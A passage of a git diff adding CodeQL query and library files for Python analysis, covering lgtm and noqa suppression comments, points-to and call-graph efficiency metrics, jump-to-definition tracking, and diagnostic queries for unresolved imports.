+ result = this + } + + override predicate covers(string filepath, int startline, int startcolumn, int endline, int endcolumn) { + this.getLocation().hasLocationInfo(filepath, startline, _, endline, endcolumn) and + startcolumn = 1 + } + +} + +/** + * An lgtm suppression comment. + */ +class LgtmSuppressionComment extends LineSuppressionComment { + + string annotation; + + LgtmSuppressionComment() { + exists(string all | + all = this.getContents() + | + // match `lgtm[...]` anywhere in the comment + annotation = all.regexpFind("(?i)\\blgtm\\s*\\[[^\\]]*\\]", _, _) + or + // match `lgtm` at the start of the comment and after semicolon + annotation = all.regexpFind("(?i)(?<=^|;)\\s*lgtm(?!\\B|\\s*\\[)", _, _).trim() + ) + } + + /** Gets the suppression annotation in this comment. */ + override string getAnnotation() { + result = annotation + } + +} + +/** + * A noqa suppression comment. Both pylint and pyflakes respect this, so lgtm ought to too. + */ +class NoqaSuppressionComment extends LineSuppressionComment { + + NoqaSuppressionComment() { + this.getContents().toLowerCase().regexpMatch("\\s*noqa\\s*") + } + + override string getAnnotation() { + result = "lgtm" + } + +} + + +/** + * The scope of an alert suppression comment. + */ +class SuppressionScope extends @py_comment { + + SuppressionScope() { + this instanceof SuppressionComment + } + + /** + * Holds if this element is at the specified location. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `filepath`. + * For more information, see + * [LGTM locations](https://lgtm.com/help/ql/locations). + */ + predicate hasLocationInfo(string filepath, int startline, int startcolumn, int endline, int endcolumn) { + this.(SuppressionComment).covers(filepath, startline, startcolumn, endline, endcolumn) + } + + /** Gets a textual representation of this element. */ + string toString() { + result = "suppression range" + } + +} + +from SuppressionComment c +select c, // suppression comment + c.getContents(), // text of suppression comment (excluding delimiters) + c.getAnnotation(), // text of suppression annotation + c.getScope() // scope of suppression diff --git a/python/ql/src/analysis/CallGraphEfficiency.ql b/python/ql/src/analysis/CallGraphEfficiency.ql new file mode 100644 index 00000000000..f1556568733 --- /dev/null +++ b/python/ql/src/analysis/CallGraphEfficiency.ql @@ -0,0 +1,25 @@ +/** Compute the total call-graph facts, the total size of the call-graph relation and + * the ratio of the two in relation to the depth of context. + */ + + +import python +import semmle.python.pointsto.PointsTo +import semmle.python.pointsto.PointsToContext + +from int total_facts, int total_size, int depth, float efficiency +where +total_facts = strictcount(ControlFlowNode call, FunctionObject func | + exists(PointsToContext ctx | + call = PointsTo::get_a_call(func, ctx) and + depth = ctx.getDepth() + ) +) +and +total_size = strictcount(ControlFlowNode call, FunctionObject func, PointsToContext ctx | + call = PointsTo::get_a_call(func, ctx) and + depth = ctx.getDepth() +) +and +efficiency = 100.0 * total_facts / total_size +select depth, total_facts, total_size, efficiency diff --git a/python/ql/src/analysis/CallGraphMarginalEfficiency.ql b/python/ql/src/analysis/CallGraphMarginalEfficiency.ql new file mode 100644 index 00000000000..72ca0383d5c --- /dev/null +++ b/python/ql/src/analysis/CallGraphMarginalEfficiency.ql @@ -0,0 +1,29 @@ +/** Compute the marginal increase call-graph facts, the total size of the call-graph relation and + * the ratio of the two in relation to the depth of context. + */ + +import python +import semmle.python.pointsto.PointsTo +import semmle.python.pointsto.PointsToContext + +from int total_facts, int total_size, int depth, float efficiency +where +total_facts = strictcount(ControlFlowNode call, FunctionObject func | + exists(PointsToContext ctx | + call = PointsTo::get_a_call(func, ctx) and + depth = ctx.getDepth() + and not + exists(PointsToContext shallower | + call = PointsTo::get_a_call(func, shallower) and + shallower.getDepth() < depth + ) + ) +) +and +total_size = strictcount(ControlFlowNode call, FunctionObject func, PointsToContext ctx | + call = PointsTo::get_a_call(func, ctx) and + depth = ctx.getDepth() +) +and +efficiency = 100.0 * total_facts / total_size +select depth, total_facts, total_size, efficiency diff --git a/python/ql/src/analysis/ContextEfficiency.ql b/python/ql/src/analysis/ContextEfficiency.ql new file mode 100644 index 00000000000..e25d69715b9 --- /dev/null +++ b/python/ql/src/analysis/ContextEfficiency.ql @@ -0,0 +1,25 @@ +/** Compute the total points-to facts, the total size of the points-to relation and + * the ratio of the two in relation to the depth of context. + */ + + +import python +import semmle.python.pointsto.PointsTo +import semmle.python.pointsto.PointsToContext + +from int total_facts, int total_size, int depth, float efficiency +where +total_facts = strictcount(ControlFlowNode f, Object value, ClassObject cls | + exists(PointsToContext ctx | + PointsTo::points_to(f, ctx, value, cls, _) and + depth = ctx.getDepth() + ) +) +and +total_size = strictcount(ControlFlowNode f, Object value, ClassObject cls, PointsToContext ctx, ControlFlowNode orig | + PointsTo::points_to(f, ctx, value, cls, orig) and + depth = ctx.getDepth() +) +and +efficiency = 100.0 * total_facts / total_size +select depth, total_facts, total_size, efficiency diff --git a/python/ql/src/analysis/ContextMarginalEfficiency.ql b/python/ql/src/analysis/ContextMarginalEfficiency.ql new file mode 100644 index 00000000000..f48e0530123 --- /dev/null +++ b/python/ql/src/analysis/ContextMarginalEfficiency.ql @@ -0,0 +1,32 @@ +/** Compute the marginal increase points-to facts, the total size of the points-to relation and + * the ratio of the two in relation to the depth of context. + */ + +import python +import semmle.python.pointsto.PointsTo +import semmle.python.pointsto.PointsToContext + +int depth(ControlFlowNode f, Object value, ClassObject cls) { + exists(PointsToContext ctx | + PointsTo::points_to(f, ctx, value, cls, _) and + result = ctx.getDepth() + ) +} + +int shallowest(ControlFlowNode f, Object value, ClassObject cls) { + result = min(int x | x = depth(f, value, cls)) +} + +from int total_facts, int total_size, int depth, float efficiency +where +total_facts = strictcount(ControlFlowNode f, Object value, ClassObject cls | + depth = shallowest(f, value, cls) +) +and +total_size = strictcount(ControlFlowNode f, Object value, ClassObject cls, PointsToContext ctx, ControlFlowNode orig | + PointsTo::points_to(f, ctx, value, cls, orig) and + depth = ctx.getDepth() +) +and +efficiency = 100.0 * total_facts / total_size +select depth, total_facts, total_size, efficiency \ No newline at end of file diff --git a/python/ql/src/analysis/CrossProjectDefinitions.qll b/python/ql/src/analysis/CrossProjectDefinitions.qll new file mode 100644 index 00000000000..e09fce9e9a2 --- /dev/null +++ b/python/ql/src/analysis/CrossProjectDefinitions.qll @@ -0,0 +1,115 @@ +/** + * Symbols for crosss-project jump-to-definition resolution. + */ + import python + +import semmle.dataflow.SSA +import semmle.python.pointsto.PointsTo + +private newtype TSymbol = + TModule(Module m) + or + TMember(Symbol outer, string part) { + exists(Object o | + outer.resolvesTo() = o | + o.(ModuleObject).hasAttribute(part) + or + o.(ClassObject).hasAttribute(part) + ) + } + +/** A "symbol" referencing an object in another module + * Symbols are represented by the module name and the dotted name by which the + * object would be referred to in that module. + * For example for the code: + * ``` + * class C: + * def m(self): pass + * ``` + * If the code were in a module `mod`, + * then symbol for the method `m` would be "mod/C.m" + */ +class Symbol extends TSymbol { + + string toString() { + exists(Module m | + this = TModule(m) and result = m.getName() + ) + or + exists(TModule outer, string part | + this = TMember(outer, part) and + outer = TModule(_) and + result = outer.(Symbol).toString() + "/" + part + ) + or + exists(TMember outer, string part | + this = TMember(outer, part) and + outer = TMember(_, _) and + result = outer.(Symbol).toString() + "." + part + ) + } + + /** Finds the `AstNode` that this `Symbol` refers to. + */ + AstNode find() { + this = TModule(result) + or + exists(Symbol s, string name | + this = TMember(s, name) | + exists(ClassObject cls | + s.resolvesTo() = cls and + cls.attributeRefersTo(name, _, result.getAFlowNode()) + ) + or + exists(ModuleObject m | + s.resolvesTo() = m and + m.attributeRefersTo(name, _, result.getAFlowNode()) + ) + ) + } + + /** Find the class or module `Object` that this `Symbol` refers to, if + * this `Symbol` refers to a class or module. + */ + Object resolvesTo() { + this = TModule(result.(ModuleObject).getModule()) + or + exists(Symbol s, string name, Object o | + this = TMember(s, name) and + o = s.resolvesTo() and + result = attribute_in_scope(o, name) + ) + } + + /** Gets the `Module` for the module part of this `Symbol`. + * For example, this would return the `os` module for the `Symbol` "os/environ". + */ + Module getModule() { + this = TModule(result) + or + exists(Symbol outer | + this = TMember(outer, _) and result = outer.getModule() + ) + } + + /** Gets the `Symbol` that is the named member of this `Symbol`. + */ + Symbol getMember(string name) { + result = TMember(this, name) + } + +} + +/* Helper for `Symbol`.resolvesTo() */ +private Object attribute_in_scope(Object obj, string name) { + exists(ClassObject cls | + cls = obj | + cls.lookupAttribute(name) = result and result.(ControlFlowNode).getScope() = cls.getPyClass() + ) + or + exists(ModuleObject mod | + mod = obj | + mod.getAttribute(name) = result and result.(ControlFlowNode).getScope() = mod.getModule() + and not result.(ControlFlowNode).isEntryNode() + ) +} diff --git a/python/ql/src/analysis/DefinitionTracking.qll b/python/ql/src/analysis/DefinitionTracking.qll new file mode 100644 index 00000000000..f3e23270370 --- /dev/null +++ b/python/ql/src/analysis/DefinitionTracking.qll @@ -0,0 +1,483 @@ +/** + * Definition tracking for jump-to-defn query. + */ + import python + +import semmle.dataflow.SSA +import semmle.python.pointsto.PointsTo + +private newtype TDefinition = + TLocalDefinition(AstNode a) { + a instanceof Expr or a instanceof Stmt or a instanceof Module + } + +/** A definition for the purposes of jump-to-definition. + */ +class Definition extends TLocalDefinition { + + + string toString() { + result = "Definition " + this.getAstNode().getLocation().toString() + } + + AstNode getAstNode() { + this = TLocalDefinition(result) + } + + Module getModule() { + result = this.getAstNode().getScope().getEnclosingModule() + } + + Location getLocation() { + result = this.getAstNode().getLocation() + } + +} + +private predicate jump_to_defn(ControlFlowNode use, Definition defn) { + exists(EssaVariable var | + use = var.getASourceUse() and + ssa_variable_defn(var, defn) + ) + or + exists(string name | + use.isLoad() and + jump_to_defn_attribute(use.(AttrNode).getObject(name), name, defn) + ) + or + exists(PythonModuleObject mod | + use.(ImportExprNode).refersTo(mod) and + defn.getAstNode() = mod.getModule() + ) + or + exists(PythonModuleObject mod, string name | + use.(ImportMemberNode).getModule(name).refersTo(mod) and + scope_jump_to_defn_attribute(mod.getModule(), name, defn) + ) + or + exists(PackageObject package | + use.(ImportExprNode).refersTo(package) and + defn.getAstNode() = package.getInitModule().getModule() + ) + or + exists(PackageObject package, string name | + use.(ImportMemberNode).getModule(name).refersTo(package) and + scope_jump_to_defn_attribute(package.getInitModule().getModule(), name, defn) + ) + or + (use instanceof PyFunctionObject or use instanceof ClassObject) and + defn.getAstNode() = use.getNode() +} + +/* Prefer class and functions to class-expressions and function-expressions. */ +private predicate preferred_jump_to_defn(Expr use, Definition def) { + not use instanceof ClassExpr and + not use instanceof FunctionExpr and + jump_to_defn(use.getAFlowNode(), def) +} + +private predicate unique_jump_to_defn(Expr use, Definition def) { + preferred_jump_to_defn(use, def) and + not exists(Definition other | + other != def and + preferred_jump_to_defn(use, other) + ) +} + +private predicate ssa_variable_defn(EssaVariable var, Definition defn) { + ssa_defn_defn(var.getDefinition(), defn) +} + +/** Holds if the phi-function `phi` refers to (`value`, `cls`, `origin`) given the context `context`. */ +private predicate ssa_phi_defn(PhiFunction phi, Definition defn) { + ssa_variable_defn(phi.getAnInput(), defn) +} + +/** Holds if the ESSA defn `def` refers to (`value`, `cls`, `origin`) given the context `context`. */ +private predicate ssa_defn_defn(EssaDefinition def, Definition defn) { + ssa_phi_defn(def, defn) + or + ssa_node_defn(def, defn) + or + ssa_filter_defn(def, defn) + or + ssa_node_refinement_defn(def, defn) +} + +/** Holds if ESSA edge refinement, `def`, is defined by `defn` */ +predicate ssa_filter_defn(PyEdgeRefinement def, Definition defn) { + ssa_variable_defn(def.getInput(), defn) +} + +/** Holds if ESSA defn, `uniphi`,is defined by `defn` */ +predicate uni_edged_phi_defn(SingleSuccessorGuard uniphi, Definition defn) { + ssa_variable_defn(uniphi.getInput(), defn) +} + +pragma [noinline] +private predicate ssa_node_defn(EssaNodeDefinition def, Definition defn) { + assignment_jump_to_defn(def, defn) + or + parameter_defn(def, defn) + or + delete_defn(def, defn) + or + scope_entry_defn(def, defn) + or + implicit_submodule_defn(def, defn) +} + +/* Definition for normal assignments `def = ...` */ +private predicate assignment_jump_to_defn(AssignmentDefinition def, Definition defn) { + defn = TLocalDefinition(def.getValue().getNode()) +} + +pragma [noinline] +private predicate ssa_node_refinement_defn(EssaNodeRefinement def, Definition defn) { + method_callsite_defn(def, defn) + or + import_star_defn(def, defn) + or + attribute_assignment_defn(def, defn) + or + callsite_defn(def, defn) + or + argument_defn(def, defn) + or + attribute_delete_defn(def, defn) + or + uni_edged_phi_defn(def, defn) +} + + +/* Definition for parameter. `def foo(param): ...` */ +private predicate parameter_defn(ParameterDefinition def, Definition defn) { + defn.getAstNode() = def.getDefiningNode().getNode() +} + +/* Definition for deletion: `del name` */ +private predicate delete_defn(DeletionDefinition def, Definition defn) { + none() +} + +/* Implicit "defn" of the names of submodules at the start of an `__init__.py` file. + */ +private predicate implicit_submodule_defn(ImplicitSubModuleDefinition def, Definition defn) { + exists(PackageObject package, ModuleObject mod | + package.getInitModule().getModule() = def.getDefiningNode().getScope() and + mod = package.submodule(def.getSourceVariable().getName()) and + defn.getAstNode() = mod.getModule() + ) + +} + +/* Helper for scope_entry_value_transfer(...). Transfer of values from the callsite to the callee, for enclosing variables, but not arguments/parameters */ +private predicate scope_entry_value_transfer_at_callsite(EssaVariable pred_var, ScopeEntryDefinition succ_def) { + exists(CallNode callsite, FunctionObject f | + f.getACall() = callsite and + pred_var.getSourceVariable() = succ_def.getSourceVariable() and + pred_var.getAUse() = callsite and + succ_def.getDefiningNode() = f.getFunction().getEntryNode() + ) +} + +/* Model the transfer of values at scope-entry points. Transfer from `pred_var, pred_context` to `succ_def, succ_context` */ +private +predicate scope_entry_value_transfer(EssaVariable pred_var, ScopeEntryDefinition succ_def) { + BaseFlow::scope_entry_value_transfer_from_earlier(pred_var, _, succ_def, _) + or + scope_entry_value_transfer_at_callsite(pred_var, succ_def) + or + class_entry_value_transfer(pred_var, succ_def) +} + +/* Helper for scope_entry_value_transfer */ +private +predicate class_entry_value_transfer(EssaVariable pred_var, ScopeEntryDefinition succ_def) { + exists(ImportTimeScope scope, ControlFlowNode class_def | + class_def = pred_var.getAUse() and + scope.entryEdge(class_def, succ_def.getDefiningNode()) and + pred_var.getSourceVariable() = succ_def.getSourceVariable() + ) +} + +/* Definition for implicit variable declarations at scope-entry. */ +pragma [noinline] +private predicate scope_entry_defn(ScopeEntryDefinition def, Definition defn) { + /* Transfer from another scope */ + exists(EssaVariable var | + scope_entry_value_transfer(var, def) and + ssa_variable_defn(var, defn) + ) +} + +/* Definition for a variable (possibly) redefined by a call: + * Just assume that call does not define variable + */ +pragma [noinline] +private predicate callsite_defn(CallsiteRefinement def, Definition defn) { + ssa_variable_defn(def.getInput(), defn) +} + +/* Pass through for `self` for the implicit re-defn of `self` in `self.foo()` */ +private predicate method_callsite_defn(MethodCallsiteRefinement def, Definition defn) { + /* The value of self remains the same, only the attributes may change */ + ssa_variable_defn(def.getInput(), defn) +} + +/** Helpers for import_star_defn */ +pragma [noinline] +private predicate module_and_name_for_import_star(ModuleObject mod, string name, ImportStarRefinement def) { + exists(ImportStarNode im_star | + im_star = def.getDefiningNode() | + name = def.getSourceVariable().getName() and + im_star.getModule().refersTo(mod) and + mod.exports(name) + ) +} + +/** Holds if `def` is technically a defn of `var`, but the `from ... import *` does not in fact define `var` */ +pragma [noinline] +private predicate variable_not_redefined_by_import_star(EssaVariable var, ImportStarRefinement def) { + var = def.getInput() and + exists(ModuleObject mod | + def.getDefiningNode().(ImportStarNode).getModule().refersTo(mod) and + not mod.exports(var.getSourceVariable().getName()) + ) +} + +/* Definition for `from ... import *` */ +private predicate import_star_defn(ImportStarRefinement def, Definition defn) { + exists(ModuleObject mod, string name | + module_and_name_for_import_star(mod, name, def) | + /* Attribute from imported module */ + scope_jump_to_defn_attribute(mod.getModule(), name, defn) + ) + or + exists(EssaVariable var | + /* Retain value held before import */ + variable_not_redefined_by_import_star(var, def) and + ssa_variable_defn(var, defn) + ) +} + +/** Attribute assignments have no effect as far as defn tracking is concerned */ +private predicate attribute_assignment_defn(AttributeAssignment def, Definition defn) { + ssa_variable_defn(def.getInput(), defn) +} + +/** Ignore the effects of calls on their arguments. This is an approximation, but attempting to improve accuracy would be very expensive for very little gain. */ +private predicate argument_defn(ArgumentRefinement def, Definition defn) { + ssa_variable_defn(def.getInput(), defn) +} + +/** Attribute deletions have no effect as far as value tracking is concerned. */ +pragma [noinline] +private predicate attribute_delete_defn(EssaAttributeDeletion def, Definition defn) { + ssa_variable_defn(def.getInput(), defn) +} + +/* Definition flow for attributes. These mirror the "normal" defn predicates. + * For each defn predicate `xxx_defn(XXX def, Definition defn)` + * There is an equivalent predicate that tracks the values in attributes: + * `xxx_jump_to_defn_attribute(XXX def, string name, Definition defn)` + * */ + +/** INTERNAL -- Public for testing only. + * Holds if the attribute `name` of the ssa variable `var` refers to (`value`, `cls`, `origin`) + */ +predicate ssa_variable_jump_to_defn_attribute(EssaVariable var, string name, Definition defn) { + ssa_defn_jump_to_defn_attribute(var.getDefinition(), name, defn) +} + +/** Helper for ssa_variable_jump_to_defn_attribute */ +private predicate ssa_defn_jump_to_defn_attribute(EssaDefinition def, string name, Definition defn) { + ssa_phi_jump_to_defn_attribute(def, name, defn) + or + ssa_node_jump_to_defn_attribute(def, name, defn) + or + ssa_node_refinement_jump_to_defn_attribute(def, name, defn) + or + ssa_filter_jump_to_defn_attribute(def, name, defn) +} + +/** Holds if ESSA edge refinement, `def`, is defined by `defn` of `priority` */ +predicate ssa_filter_jump_to_defn_attribute(PyEdgeRefinement def, string name, Definition defn) { + ssa_variable_jump_to_defn_attribute(def.getInput(), name, defn) +} + +/** Holds if the attribute `name` of the ssa phi-function defn `phi` refers to (`value`, `cls`, `origin`) */ +private predicate ssa_phi_jump_to_defn_attribute(PhiFunction phi, string name, Definition defn) { + ssa_variable_jump_to_defn_attribute(phi.getAnInput(), name, defn) +} + +/** Helper for ssa_defn_jump_to_defn_attribute */ +pragma[noinline] +private predicate ssa_node_jump_to_defn_attribute(EssaNodeDefinition def, string name, Definition defn) { + assignment_jump_to_defn_attribute(def, name, defn) + or + self_parameter_jump_to_defn_attribute(def, name, defn) + or + scope_entry_jump_to_defn_attribute(def, name, defn) +} + +/** Helper for ssa_defn_jump_to_defn_attribute */ +pragma[noinline] +private predicate ssa_node_refinement_jump_to_defn_attribute(EssaNodeRefinement def, string name, Definition defn) { + attribute_assignment_jump_to_defn_attribute(def, name, defn) + or + argument_jump_to_defn_attribute(def, name, defn) +} + +pragma[noinline] +private predicate scope_entry_jump_to_defn_attribute(ScopeEntryDefinition def, string name, Definition defn) { + exists(EssaVariable var | + scope_entry_value_transfer(var, def) and + ssa_variable_jump_to_defn_attribute(var, name, defn) + ) +} + +private predicate scope_jump_to_defn_attribute(ImportTimeScope s, string name, Definition defn) { + exists(EssaVariable var | + BaseFlow::reaches_exit(var) and var.getScope() = s and + var.getName() = name + | + ssa_variable_defn(var, defn) + ) +} + +private predicate jump_to_defn_attribute(ControlFlowNode use, string name, Definition defn) { + /* Local attribute */ + exists(EssaVariable var | + use = var.getASourceUse() and + ssa_variable_jump_to_defn_attribute(var, name, defn) + ) + or + /* Instance attributes */ + exists(ClassObject cls | + use.refersTo(_, cls, _) | + scope_jump_to_defn_attribute(cls.getPyClass(), name, defn) + ) + or + /* Super attributes */ + exists(AttrNode f, SuperBoundMethod sbm, Object function | + use = f.getObject(name) and + f.refersTo(sbm) and function = sbm.getFunction(_) and + function.getOrigin() = defn.getAstNode() + ) + or + /* Class or module attribute */ + exists(Object obj, Scope scope | + use.refersTo(obj) and + scope_jump_to_defn_attribute(scope, name, defn) | + obj.(ClassObject).getPyClass() = scope + or + obj.(PythonModuleObject).getModule() = scope + or + obj.(PackageObject).getInitModule().getModule() = scope + ) +} + +pragma[noinline] +private predicate assignment_jump_to_defn_attribute(AssignmentDefinition def, string name, Definition defn) { + jump_to_defn_attribute(def.getValue(), name, defn) +} + +pragma[noinline] +private predicate attribute_assignment_jump_to_defn_attribute(AttributeAssignment def, string name, Definition defn) { + defn.getAstNode() = def.getDefiningNode().getNode() and name = def.getName() + or + ssa_variable_jump_to_defn_attribute(def.getInput(), name, defn) and not name = def.getName() +} + +/** Holds if `def` defines the attribute `name` + * `def` takes the form `setattr(use, "name")` where `use` is the input to the defn. + */ +private predicate sets_attribute(ArgumentRefinement def, string name) { + exists(CallNode call | + call = def.getDefiningNode() and + call.getFunction().refersTo(builtin_object("setattr")) and + def.getInput().getAUse() = call.getArg(0) and + call.getArg(1).getNode().(StrConst).getText() = name + ) +} + +pragma[noinline] +private predicate argument_jump_to_defn_attribute(ArgumentRefinement def, string name, Definition defn) { + if sets_attribute(def, name) then + jump_to_defn(def.getDefiningNode().(CallNode).getArg(2), defn) + else + ssa_variable_jump_to_defn_attribute(def.getInput(), name, defn) +} + +/** Gets the (temporally) preceding variable for "self", e.g. `def` is in method foo() and `result` is in `__init__()`. */ +private EssaVariable preceding_self_variable(ParameterDefinition def) { + def.isSelf() and + exists(Function preceding, Function method | + method = def.getScope() and + // Only methods + preceding.isMethod() and preceding.precedes(method) and + BaseFlow::reaches_exit(result) and result.getSourceVariable().(Variable).isSelf() and + result.getScope() = preceding + ) +} + +pragma [noinline] +private predicate self_parameter_jump_to_defn_attribute(ParameterDefinition def, string name, Definition defn) { + ssa_variable_jump_to_defn_attribute(preceding_self_variable(def), name, defn) +} + +/** Gets a definition for 'use'. + * This exists primarily for testing use `getPreferredDefinition()` instead. + */ +Definition getADefinition(Expr use) { + jump_to_defn(use.getAFlowNode(), result) and + not use instanceof Call and + not use.isArtificial() and + // Not the use itself + not result = TLocalDefinition(use) +} + +/** Gets the unique definition for 'use', if one can be found. + * Helper for the jump-to-definition query. + */ +Definition getUniqueDefinition(Expr use) { + unique_jump_to_defn(use, result) and + not use instanceof Call and + not use.isArtificial() and + // Not the use itself + not result = TLocalDefinition(use) +} + + +/** Helper class to get suitable locations for attributes */ +class NiceLocationExpr extends @py_expr { + + string toString() { + result = this.(Expr).toString() + } + + predicate hasLocationInfo(string f, int bl, int bc, int el, int ec) { + /* Attribute location for x.y is that of 'y' so that url does not overlap with that of 'x' */ + exists(int abl, int abc | + this.(Attribute).getLocation().hasLocationInfo(f, abl, abc, el, ec) | + bl = el and bc = ec - this.(Attribute).getName().length() + 1 + ) + or + this.(Name).getLocation().hasLocationInfo(f, bl, bc, el, ec) + or + /* Show xxx for `xxx` in `from xxx import y` or + * for `import xxx` or for `import xxx as yyy`. */ + this.(ImportExpr).getLocation().hasLocationInfo(f, bl, bc, el, ec) + or + /* Show y for `y` in `from xxx import y` */ + exists(string name | + name = this.(ImportMember).getName() and + this.(ImportMember).getLocation().hasLocationInfo(f, _, _, el, ec) and + bl = el and bc = ec-name.length()+1 + ) + } + +} + + diff --git a/python/ql/src/analysis/Definitions.ql b/python/ql/src/analysis/Definitions.ql new file mode 100644 index 00000000000..b0cf6f01bc1 --- /dev/null +++ b/python/ql/src/analysis/Definitions.ql @@ -0,0 +1,17 @@ +/** + * @name Definitions + * @description Jump to definition helper query. + * @kind definitions + * @id py/jump-to-definition + */ + +import python +import DefinitionTracking + + +from NiceLocationExpr use, Definition defn, string kind, string f, int l +where defn = getUniqueDefinition(use) and kind = "Definition" +and use.hasLocationInfo(f, l, _, _, _) and +// Ignore if the definition is on the same line as the use +not defn.getLocation().hasLocationInfo(f, l, _, _, _) +select use, defn, kind diff --git a/python/ql/src/analysis/Efficiency.ql b/python/ql/src/analysis/Efficiency.ql new file mode 100644 index 00000000000..bbdd3a7506d --- /dev/null +++ b/python/ql/src/analysis/Efficiency.ql @@ -0,0 +1,33 @@ +/** + * Compute the efficiency of the points-to relation. That is the ratio of + * "interesting" facts to total facts. + */ + +import python +import semmle.python.pointsto.PointsTo +import semmle.python.pointsto.PointsToContext + +predicate trivial(ControlFlowNode f) { + exists(Parameter p | p = f.getNode()) + or + f instanceof NameConstantNode + or + f.getNode() instanceof ImmutableLiteral +} + +from int interesting_facts, int interesting_facts_in_source, int total_size,float efficiency +where +interesting_facts = strictcount(ControlFlowNode f, Object value, ClassObject cls | + f.refersTo(value, cls, _) and not trivial(f) +) +and +interesting_facts_in_source = strictcount(ControlFlowNode f, Object value, ClassObject cls | + f.refersTo(value, cls, _) and not trivial(f) and exists(f.getScope().getEnclosingModule().getFile().getRelativePath()) +) +and +total_size = strictcount(ControlFlowNode f, PointsToContext ctx, Object value, ClassObject cls, ControlFlowNode orig | + PointsTo::points_to(f, ctx, value, cls, orig) +) +and +efficiency = 100.0 * interesting_facts_in_source / total_size +select interesting_facts, interesting_facts_in_source, total_size, efficiency diff --git a/python/ql/src/analysis/FailedInference.ql b/python/ql/src/analysis/FailedInference.ql new file mode 100644 index 00000000000..129c17ffd9d --- /dev/null +++ b/python/ql/src/analysis/FailedInference.ql @@ -0,0 +1,11 @@ + +import python +import semmle.python.pointsto.PointsTo + +from ClassObject cls, string reason + +where +PointsTo::Types::failed_inference(cls, reason) + +select cls, reason + diff --git a/python/ql/src/analysis/ImportFailure.qhelp b/python/ql/src/analysis/ImportFailure.qhelp new file mode 100644 index 00000000000..2832f217f3b --- /dev/null +++ b/python/ql/src/analysis/ImportFailure.qhelp @@ -0,0 +1,28 @@ + + + +

    Tracing which module is imported by an import statement is very important in ensuring that the whole program is available +for analysis. Failure to determine which module is imported by an import reduces the extent and accuracy of Semmle's analysis. +

    + +

    +Missing imports will degrade the effectiveness of code analysis and may result in errors going undetected. +

    + +
    + +

    +Ensure that all required modules and packages can be found when running the extractor. +

    + + +
    + + +
  • Semmle Tutorial: Basic project creation (Python).
  • + + +
    +
    diff --git a/python/ql/src/analysis/ImportFailure.ql b/python/ql/src/analysis/ImportFailure.ql new file mode 100644 index 00000000000..38801d8d004 --- /dev/null +++ b/python/ql/src/analysis/ImportFailure.ql @@ -0,0 +1,71 @@ +/** + * @name Unresolved import + * @description An unresolved import may result in reduced coverage and accuracy of analysis. + * @kind problem + * @problem.severity info + * @id py/import-failure + */ + +import python + +ImportExpr alternative_import(ImportExpr ie) { + exists(Alias thisalias, Alias otheralias | + (thisalias.getValue() = ie or ((ImportMember)thisalias.getValue()).getModule() = ie) + and + (otheralias.getValue() = result or ((ImportMember)otheralias.getValue()).getModule() = result) + and + ( + exists(If i | i.getBody().contains(ie) and i.getOrelse().contains(result)) or + exists(If i | i.getBody().contains(result) and i.getOrelse().contains(ie)) or + exists(Try t | t.getBody().contains(ie) and t.getAHandler().contains(result)) or + exists(Try t | t.getBody().contains(result) and t.getAHandler().contains(ie)) + ) + ) +} + +string os_specific_import(ImportExpr ie) { + exists(string name | name = ie.getImportedModuleName() | + name.matches("org.python.%") and result = "java" + or + name.matches("java.%") and result = "java" + or + name.matches("Carbon.%") and result = "darwin" + or + result = "win32" and ( + name = "_winapi" or name = "_win32api" or name = "_winreg" or + name = "nt" or name.matches("win32%") or name = "ntpath" + ) + or + result = "linux2" and ( + name = "posix" or name = "posixpath" + ) + or + result = "unsupported" and ( + name = "__pypy__" or name = "ce" or name.matches("riscos%") + + ) + ) +} + +string get_os() { + py_flags_versioned("sys.platform", result, major_version().toString()) +} + +predicate ok_to_fail(ImportExpr ie) { + alternative_import(ie).refersTo(_) + or + os_specific_import(ie) != get_os() +} + +from ImportExpr ie +where not ie.refersTo(_) and + exists(Context c | c.appliesTo(ie.getAFlowNode())) and + not ok_to_fail(ie) and + not exists(VersionGuard guard | + if guard.isTrue() then + guard.controls(ie.getAFlowNode().getBasicBlock(), false) + else + guard.controls(ie.getAFlowNode().getBasicBlock(), true) + ) + +select ie, "Unable to resolve import of '" + ie.getImportedModuleName() + "'." diff --git a/python/ql/src/analysis/KeyPointsToFailure.ql b/python/ql/src/analysis/KeyPointsToFailure.ql new file mode 100644 index 00000000000..0139586aca8 --- /dev/null +++ b/python/ql/src/analysis/KeyPointsToFailure.ql @@ -0,0 +1,32 @@ +/** + * @name Key points-to fails for expression. + * @description Expression does not "point-to" an object which prevents further points-to analysis. + * @kind problem + * @problem.severity info + * @id py/key-points-to-failure + * @deprecated + */ + +import python + +predicate points_to_failure(Expr e) { + exists(ControlFlowNode f | + f = e.getAFlowNode() | + not f.refersTo(_) + ) +} + +predicate key_points_to_failure(Expr e) { + points_to_failure(e) and not points_to_failure(e.getASubExpression()) + and + not exists(SsaVariable ssa | + ssa.getAUse() = e.getAFlowNode() | + points_to_failure(ssa.getAnUltimateDefinition().getDefinition().getNode()) + ) + and + not exists(Assign a | a.getATarget() = e) +} + +from Attribute e +where key_points_to_failure(e) and not exists(Call c | c.getFunc() = e) +select e, "Expression does not 'point-to' any object, but all its sources do." diff --git a/python/ql/src/analysis/PointsToFailure.ql b/python/ql/src/analysis/PointsToFailure.ql new file mode 100644 index 00000000000..5978e60f513 --- /dev/null +++ b/python/ql/src/analysis/PointsToFailure.ql @@ -0,0 +1,19 @@ +/** + * @name points-to fails for expression. + * @description Expression does not "point-to" an object which prevents type inference. + * @kind problem + * @id py/points-to-failure + * @problem.severity info + * @tags debug + * @deprecated + */ + +import python + +from Expr e +where exists(ControlFlowNode f | + f = e.getAFlowNode() | + not f.refersTo(_) +) + +select e, "Expression does not 'point-to' any object." \ No newline at end of file diff --git a/python/ql/src/analysis/Pruned.ql b/python/ql/src/analysis/Pruned.ql new file mode 100644 index 00000000000..a40d47949e5 --- /dev/null +++ b/python/ql/src/analysis/Pruned.ql @@ -0,0 +1,13 @@ + +import python +import semmle.python.pointsto.PointsTo + +from int size + +where +size = count(ControlFlowNode f | + not PointsTo::Test::reachableBlock(f.getBasicBlock(), _) +) + + +select size diff --git a/python/ql/src/analysis/RatioOfDefinitions.ql b/python/ql/src/analysis/RatioOfDefinitions.ql new file mode 100644 index 00000000000..66e0683eab2 --- /dev/null +++ b/python/ql/src/analysis/RatioOfDefinitions.ql @@ -0,0 +1,27 @@ +/** + * @name Ratio of jump-to-definitions computed + */ + +import python + +import DefinitionTracking + +predicate want_to_have_definition(Expr e) { + /* not builtin object like len, tuple, etc. */ + not exists(Object cobj | 